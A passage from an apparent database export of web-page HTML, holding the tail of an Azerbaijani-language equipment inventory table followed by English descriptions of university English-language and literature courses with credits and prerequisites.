0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Kabelsiz\r\n  mauslar</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">8</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Printer/surətşıxarma\r\n  aparatı/skaner şəbəkəsi</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Server\r\n  5 IBM Sistem x3550 M3 </p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Noutbuklar</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">11</p>\r\n  </td>\r\n  <td width=\"450\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">iPod\r\n  dəstləri (10)</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">12</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Logitech\r\n  qulaqlıqları</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">13</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Logitech\r\n  doklar</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">10</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Mino\r\n  video kamera</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">15</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sony\r\n  video kamera</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">16</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Sony\r\n  DVD surətçıxaranı</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">17</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Spy\r\n  gözlük</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"55\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">18</p>\r\n  </td>\r\n  <td width=\"414\" style=\"\" width:310.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Epson\r\n  Document Camera</p>\r\n  </td>\r\n  <td width=\"102\" style=\"\" width:76.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(916,601,'en','Course Description','Course Description','<p style=\"text-align:justify\"><strong><em>ENGL 101: English Foundations&nbsp;1 (6 ECTS&nbsp;credits)</em></strong></p><p style=\"text-align:justify\"><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nPlacement test</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course is designed to improve students’ 4\r\nessential language skills in learning English. Through reading texts, doing\r\nlistening tasks, writing grammar exercises, and speaking on a variety of topics\r\nthey will be able to improve their English and build up their vocabulary.&nbsp; It also aims at development of the students’\r\nunderstanding and use of reading, listening, writing, and speaking skills in&nbsp;word recognition, word meaning and  &nbsp;<a>&nbsp;</a>text\r\ncomprehension. Students\r\nwho participate actively in this course will achieve a CEF A1+ proficiency\r\nlevel.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>ENGL 102: English Foundations&nbsp;2&nbsp;(6&nbsp;<strong><em>ECTS&nbsp;</em></strong>credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite:&nbsp;<strong><em>ENGL 101</em></strong></em></strong>&nbsp;</p><p style=\"text-align:justify\">The course aims at development of the students’ understanding and using different skills and strategies in word recognition, word meaning and text comprehension. It builds up the students’ vocabulary through wide and fluent reading of the selected topics, expands their comprehension by analyzing, interpreting, and synthesizing information and ideas in literacy and informational text, and develops the students’ interests through sharing reading experiences.&nbsp;</p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>ENGL 201:\r\nPre-Advanced English Grammar (6 <strong><em>ECTS&nbsp;</em></strong>credits)</em></strong></p><p style=\"text-align:justify\"><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: &nbsp;ENGL 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Course objectives are: to enable the students to use\r\nthe English Language properly, to develop their creative thinking, to make them\r\naware of the flexibility of the grammatical structures (Intermediate Level). It\r\ndevelops the students’ language skills and habits through the evidences of how\r\nthe language works, how considerably can grammar elaborate the efficiency of\r\nlanguage use in various situations.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong><em>ENGL 202: Advanced\r\nEnglish Grammar (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It develops students’ knowledge, skills and habits of\r\nPost Intermediate English structural level, helps them to correct studying and\r\nusing of the English language in various situations, including oral speech and\r\nnarrations and written text structures.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 206: ESL\r\n(Pre-advanced) (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n103 and ENGL 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course is aimed at further development of the four\r\nlanguage skills and improving students’ ability to communicate in university\r\nenvironment. Authentic materials of the course fostering educational and\r\ncultural values are integrated with other subjects of general education\r\ncurriculum. The course develops a system of logical and organized thinking and\r\npromotes individualized and cooperative learning by involving students into an\r\nargument and research.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 207: Introduction\r\nto English Translation (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n103, 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course provides information on basics of English\r\ntranslation. Study of comparative word orders in English, Azerbaijani/Russian\r\nlanguages during translations are the major elements of the course.</p>\r\n<p style=\"text-align:justify\"><strong><em><br></em></strong></p><p style=\"text-align:justify\"><strong><em>ENGL 212: English\r\nfor Current Events (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n201</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Skills necessary to understand news media as means of\r\nEnglish improvement and as source of information and entertainment; print and\r\nelectronic media coverage of current news and issues. Being complementary to\r\nother subjects, it is designed to improve students’ vocabulary, reading and\r\nlistening, as well as translation skills.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 216: English\r\nfor Specific Purposes (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n103 and ENGL 104</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The emphasis of the course rests on major structural\r\nand lexical differences between General English and ESP. To find out the\r\ncorrelation of scientific and non-scientific structures, to count and register\r\nthem would mean much in getting accuracy in various styles, typing them and\r\nthus escaping contextual misunderstandings.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 217: ESL\r\n(Advanced) (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n206</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course is focused on developing: (1) the&nbsp;<em>reading\r\nand writing for academic purposes</em>&nbsp;while\r\nassignments are given out of the materials the students use for academic\r\ndisciplines. (2) the&nbsp;<em>speaking and presentation</em>&nbsp;skills required for the future career\r\ndevelopment. Skills include pronunciation, classroom interaction,\r\npresentations, seminar discussions, and basic teaching strategies to obtain the\r\nknowledge and skills needed for daily communication. The main focus will be on\r\nlistening and speaking, but involving some reading and writing as well.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 309: English\r\nComposition (6&nbsp;<strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n202 or consent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is aimed to help students acquire competence not\r\nonly in writing English but also composing their own essays and writing\r\nassignments, discussions, reading and listening. It helps the students to\r\ndevelop their basic abilities for description techniques, analysis and written\r\njudgments through instruction of a short composition text structure.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 311: Survey of\r\nBritish Literature I (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It focuses on discussion of the major works of English\r\nwriters from the Old period up the end of XVIII century including Geoffrey\r\nChaucer, Marwel, Shakespeare, Donne and others.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 315: English\r\nthrough Films (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n201 or consent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course focuses on developing listening and\r\nspeaking skills, cross cultural understanding using American/English movies and\r\ntelevision; comprehension of complex information presented in a non-lecture\r\nformat, as in television documentaries. It determines the speaker’s independent\r\nattitude towards the subject by an individual critical reasoning.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 316: Advanced\r\nEnglish Vocabulary (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Advanced English Vocabulary is designed for English\r\nand non-English majors, teaching students who seek a thorough understanding of\r\nEnglish word building. The aim of this course is primarily to help students\r\nacquire competence in usage of language focusing mainly on vocabulary and academic\r\nword list. This course enables the students to gain a deeper understanding,\r\nspeaking, and listening performances along with vocabulary enrichment. Students\r\nwill demonstrate mastery of class material through variety of exercises and\r\nquizzes.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 317: History\r\nof the English Language (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Development of the English language from Old to Early\r\nModern English: phonology, morphology, lexicology and syntax. To provide\r\nknowledge on history of the English Language, its significant regional\r\nvariations and about the principles of historical linguistics.</p>\r\n<p style=\"text-align:justify\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 321:\r\nTranslation Practice 1 (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n207 or consent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It aims at translation of written English text\r\nmaterials from English into the native or vice versa, develops students’\r\ncritical reasoning on text structures, improves their reading and comprehension\r\nabilities.</p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 322:\r\nLexicology (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: LING\r\n215</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is aimed to expand students’ vocabulary through\r\nword building exercise like synonyms, antonyms, word matching etc. Its purpose\r\nis to help the students to improve their academic reading rate and\r\ncomprehension abilities, the meanings of roots, suffixes and prefixes.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>ENGL 324:\r\nTranslation Practice 2 (6 <strong><em>ECTS</em></strong>  credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n321</em></strong><em></em></p><p style=\"text-align:justify\">It is focused on translation of the various text\r\nmaterials with different levels of difficulties using the correct methods and\r\ndevices of text transformations through practical application of the learned\r\ngrammatical structures and models.<em></em></p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 325:\r\nCommunication English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course develops speaking and overall communication\r\nskills in English through discussion-based class sessions, role-plays,\r\ndescriptions of the various life situations, movie and events discussions.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL/AMS 326:\r\nBritish/American Studies (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It is focused on social and cultural life of the\r\nmodern Britain/America. By presentation of the various topics for reading and\r\nanalysis the students are further developed more rigorously in terms of cross\r\ncultural, educational, social and economic orientations.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 330: Survey of\r\nBritish Literature II (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n311 or consent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It focuses on learning and discussion of the major\r\nworks of English writers of XIX and XX centuries.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 335: Academic\r\nWriting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n309 or consent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It provides an opportunity to learn and practice the\r\nbasics of effective, logically ordered, organized and well researched writing\r\nprocess with effective written arguments and significant ideas.</p>\r\n<p style=\"text-align:justify\">It aims at development and refinement of the academic\r\nwritten skills through the use of multiple drafts and revisions of the assigned\r\nessays and their essential parts in their writing process<em>.</em><em>&nbsp;</em>Variety of methods, like the\r\nstudy of model texts through reading, analysis and discussion, teaching of\r\nrhetorical concepts (audience, purpose, style, focus, development, structure,\r\netc.) and practice in logical and reasoning analyses are used to tackle the\r\nstudents with necessary course requirements.</p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 410: Modern\r\nEnglish Literature (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nConsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It provided discussions of the major modern English writers\r\nand theorists of the XXI century.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 411:\r\nTranslation Practice 3 (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n324</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">It further develops the previously studied translation\r\npractices and techniques raising the students awareness in grasping,\r\ninterpreting, transferring the major contextual implications. Students are\r\ntrained on the intricate text structures and translation models. They learn the\r\nacceptable ways of correct translations through the specific features of the\r\nlanguages (English/Azerbaijan/Russian) to be translated from and into.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 414:\r\nDevelopment of American English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n317</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Special emphasis is put on American English,\r\ndifferences in phonetic, grammatical and vocabulary in American English. The\r\ncourse also considers special readings in American English.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 415: Survey of\r\nAmerican Literature (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course curriculum pursues learning historical\r\nsurvey of important writers, intellectual current movements, conventions,\r\ngenres, and themes. Lecture course, with wide reading, recitation section, with\r\ndiscussion and writing are major parts of the course.</p>\r\n<p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong><em>ENGL 416: Survey of\r\nBritish Literature (6&nbsp;<strong><em>ECTS</em></strong>   credits)</em></strong></p><p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p><p style=\"text-align:justify\">The course aims at realizing the historical survey of\r\nmajor figures, movements and trends in British literature (from Chaucer to\r\nMarvell, including Spenser, Shakespeare, Donne, etc).<em></em></p>\r\n<p style=\"text-align:justify\"><em>&nbsp;</em></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 417: World\r\nLiterature in English (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Examination of literature written in English\r\nworldwide. Although the course may include writings from the US and Britain,\r\nemphasis is on literature from Canada, Africa, India, Asia, Australia, New\r\nZealand, and the South Seas.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 418: World\r\nEnglish (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Examines development, significance, and linguistic\r\ncharacteristics of varieties of English spoken in different countries (US, UK,\r\nIndia, New Zealand, Canada, and Australia), and local standards with reference\r\nto cultural identity and language nativization.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 419: Creative\r\nWriting (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite: ENGL\r\n309</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">Creative writing focuses on advancement of students’\r\nversatility, advances their individual writing skills and imagination. It\r\nenables the students to demonstrate their skill in writing essays, short\r\nstories, poetry, and drama. Its elements of writing poetry and prose involve a\r\ncombination of a small group workshops and lecture presentation by visiting\r\nwriters.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL 420: Literary\r\nStudies (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisite:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">This course provides a survey of literary studies from\r\nantiquity through Middle Ages to modernity.</p>\r\n<p style=\"text-align:justify\"><strong>&nbsp;</strong></p>\r\n<p style=\"text-align:justify\"><strong><em>ENGL: 421 Text\r\nInterpretation (6 <strong><em>ECTS</em></strong>  credits)</em></strong><em></em></p>\r\n<p style=\"text-align:justify\"><strong><em>Prerequisites:\r\nconsent of the instructor</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">The course is intended for advanced ESL students\r\ntaking training at English – medium universities to meet academic requirements\r\nof the English language curriculum. It is aimed at analyzing texts, exposing\r\nstudents to authentic reading materials with functional style of English\r\nlanguage, improving and reinforcing their 